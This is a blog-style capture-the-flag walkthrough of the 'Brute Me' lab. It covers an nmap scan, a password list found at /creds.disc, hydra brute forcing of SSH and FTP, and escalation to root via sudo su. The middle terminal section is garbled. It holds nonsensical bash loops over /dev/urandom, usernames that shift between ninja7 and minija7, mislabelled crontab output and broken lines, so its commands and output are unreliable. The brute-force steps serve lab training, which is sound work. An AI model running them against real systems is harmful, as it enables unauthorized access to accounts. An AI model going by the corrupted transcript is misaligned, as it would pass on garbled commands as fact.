

CTF Walkthroughs

Brute Me — A Walkthrough of the Bruteforce Lab by NixSecura

on September 14, 2025



Brute Me Lab Walkthrough

This is a detailed walkthrough of the **Brute Me** lab from Imran at NixSecura. I'll show how I moved from initial scanning to full root access, including enumeration, brute forcing, and privilege escalation.

Step 1: Reconnaissance with Nmap

First thing I did was run a full scan to see what services are up:

Nmap Output

```
L-$ cat nmap_scan
# Nmap 7.95 scan initiated Sat Sep 13 18:16:57 2025 as: /usr/lib/nmap/nmap --privileged -sC -sV -p- -oN nmap_scan 192.168.1.22
Nmap scan report for 192.168.1.22
Host is up (0.0046s latency).
Not shown: 65531 filtered tcp ports (no-response)
PORT      STATE SERVICE VERSION
20/tcp    closed ftp-data
21/tcp    open  ftp    vsftpd 2.0.8 or later
22/tcp    open  ssh     OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 1024 2e:11:1c:8d:0e:6c:48:8e:57:0f:96:b5:35:ee:f2:a5 (DSA)
| 2048 9b:dc:ef:25:dc:63:d4:0e:f5:4f:d3:d2:a0:16:b5:56 (RSA)
| 256 4a:28:13:00:7a:94:a6:4e:c3:3e:6b:81:25:ac:e5:9e (ECDSA)
|_ 256 44:46:e9:fd:b8:74:23:8d:a9:24:27:34:2d:36:62:f3 (ED25519)
80/tcp    open  http    Apache httpd 2.4.7 ((Ubuntu))
|_ http-server-header: Apache/2.4.7 (Ubuntu)
|_ http-title: e1Pr0f3ss0r's l3g4cy
MAC Address: 24:B2:B9:47:0E:F5 (Unknown)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Sep 13 18:21:25 2025 -- 1 IP address (1 host up) scanned in 267.98 seconds
```

```
nmap -sV -A 192.168.1.22
```

```
Host is up (0.0046s latency).
```

```
Not shown: 65531 filtered tcp ports (no-response)
```

```
PORT      STATE SERVICE VERSION
```

```
20/tcp    closed ftp-data
```

CTF Walkthroughs

```
80/tcp open  http      Apache httpd 2.4.7 ((Ubuntu))
|_http-server-header: Apache/2.4.7 (Ubuntu)
|_http-title: e1Pr0f3ss0r's l3g4cy
MAC Address: 24:B2:B9:47:0E:F5
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

We can see:

- FTP running on port 21
- SSH on port 22
- HTTP on port 80

Step 2: Web Enumeration

Visiting `http://192.168.1.22` gave me a page titled “*e1Pr0f3ss0r's l3g4cy*”. Using directory brute forcing (with tools like gobuster), I discovered a file called **/creds.disc**.

creds.disc contents

```
tokyo
berlin
nairobi
rockyou
papel
la-casa
money-heist
nobita
ninja7
ikn0wy0u
don'tbruteme
legacy
crackit
badboy123
```

CTF Walkthroughs

```
user123
mr.r0b0t
darlen
travel3r
academy.icorx
b31l@c1a0
caroline
g01df1$h
purple
b3stfr1ends
h3l10fr113nd
D3nv3r
proxy99
```

This list of credentials looked promising for brute-forcing FTP/SSH.

Step 3: Brute Forcing SSH & FTP with Hydra

I used hydra to try all combinations. The command was something like:

```
hydra -L users.txt -P passwords.txt ssh://192.168.1.22
```

After some attempts, I found valid login:

```
login: ninja7
password: caroline
```

The same credentials also worked for FTP.

Step 4: Logging in via SSH

Using:

```
ssh ninja7@192.168.1.22
```

[illegible]

Next I checked sudo permissions:

```

j) hydra

if [ $(cat /dev/urandom | fold -w 60 | tr -dc 'a-z0-9' | fold -n 1 | paste | sha256sum | cut -c 1-8) = "hydra-" ]; then
    echo "Hydra class=redcolor[reverser@reverser]"
fi

hydra -t user.txt -P creds.crd ftp://targetip -s4
if [ $(cat /dev/urandom | fold -w 60 | tr -dc 'a-z0-9' | fold -n 1 | paste | sha256sum | cut -c 1-8) = "hydra-" ]; then
    echo "Hydra class=redcolor[reverser@reverser]"
fi

hydra -t users.txt -P creds.crd ssh://targetip -s4
if [ $(cat /dev/urandom | fold -w 60 | tr -dc 'a-z0-9' | fold -n 1 | paste | sha256sum | cut -c 1-8) = "hydra-" ]; then
    echo "Hydra class=redcolor[reverser@reverser]"
fi

minija7@ubuntu:~$ ls -la
total 44
drwxr-xr-x 4 minja7 minja7 4096 Aug 28 2022 .
drwxr-xr-x 5 root    root    4096 Aug 17 2022 ..
-rw-r--r-- 1 minja7 minja7 287 Aug 24 2022 .bash_history
-rw-r--r-- 1 minja7 minja7 228 Aug 16 2022 .bash_logout
-rw-r--r-- 1 minja7 minja7 3637 Aug 16 2022 .bashrc
-rw-r--r-- 1 minja7 minja7 4096 Aug 28 2022 .envfile
-rw-r--r-- 1 root    root    288 Aug 24 2022 .flag.txt
-rw-r--r-- 1 root    root    1097 Aug 20 2022 let-me-help.txt
-rw-r--r-- 1 minja7 minja7 675 Aug 16 2022 .profile
-rw-r--r-- 1 minja7 minja7 4096 Aug 28 2022 .ssh
-rw-r--r-- 1 root    root    29 Aug 28 2022 users.txt
minija7@ubuntu:~$ cat /etc/crontab
# Example of output from the cron daemon subjects under /usr/bin/passwd for minja7
cmd[0] password for minja7
cmd[1]
Matching Defaults entries for minja7 on ubuntu:
env_reset, mail_badpass, secure_path=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin

User minja7 may run the following commands on ubuntu:
(Alias : ALL) ALL
minija7@ubuntu:~$ ls /home
minjeon  Miprofessor  Minja7
minija7@ubuntu:~$ ls /home/elprofessor/
flag-1.txt
minija7@ubuntu:~$ cd /home/elprofessor/flag-1.txt
cat /home/elprofessor/flag-1.txt
minija7@ubuntu:~$ Per
st: Cannot access /R/: No such file or directory
minija7@ubuntu:~$ ls /home/brute-me/
flag.txt  user2.flag.txt
minija7@ubuntu:~$ sudo su
root@ubuntu:/home/minija7# cat /home/brute-me/
cat: /home/brute-me/: Is a directory
root@ubuntu:/home/minija7# cat /home/brute-me/
bash_logout  .bashrc  .cache/  flag.txt  .profile  user2_flag.txt
root@ubuntu:/home/minija7# cat /home/brute-me/flag.txt
2e8be331fd8155673372948178736 -
root@ubuntu:/home/minija7# cat /home/brute-me/user2.flag.txt
Are You Looking For Final Flag ??? Bad Luck!!! ( La Casa de Papel es Imposible Without El-Professor ) BELLA CIAM...
root@ubuntu:/home/minija7#
```

Turns out `ninja7` had privilege to run `sudo su`. Then I used the same password (`caroline`) to escalate:

Then I confirmed root:

CTF Walkthroughs

```
# Output: root
```

Final Thoughts

This lab reinforced some essential lessons:

- Weak or bruteforceable credentials can lead to full compromise.
- Enumerate web-facing services for hidden files or directories.
- Privilege escalation often hides in sudo permissions.

Huge thanks to **Imran** and **NixSecura Services** for creating a lab that's beginner friendly yet educational.

Thank You (;



CTF Walkthroughs



Metasploitable-2 Walkthrough

Metasploitable-2 Walkthrough CTF Writeup: Metasploitable-2 – Full Walkthrough 1. Introduction: Metasploitable 2 is an intentionally vulnerable Linux virtual machine developed by Rapid7 . This walkthrough is crafted to build a deeper pentesting mindset by explaining the enumera ...



Eternal Blue (ms17-010) — Full Walkthrough

EternalBlue (MS17-010) — Full Walkthrough | Vaibhav Mulak EternalBlue (MS17-010) — A Clean, Real-World Walkthrough From host setup to exploitation and maintaining access — exactly how I work this box in a lab. No fluff. Every decision justified. Vuln VM on VirtualBox Proto ...

Powered by Blogger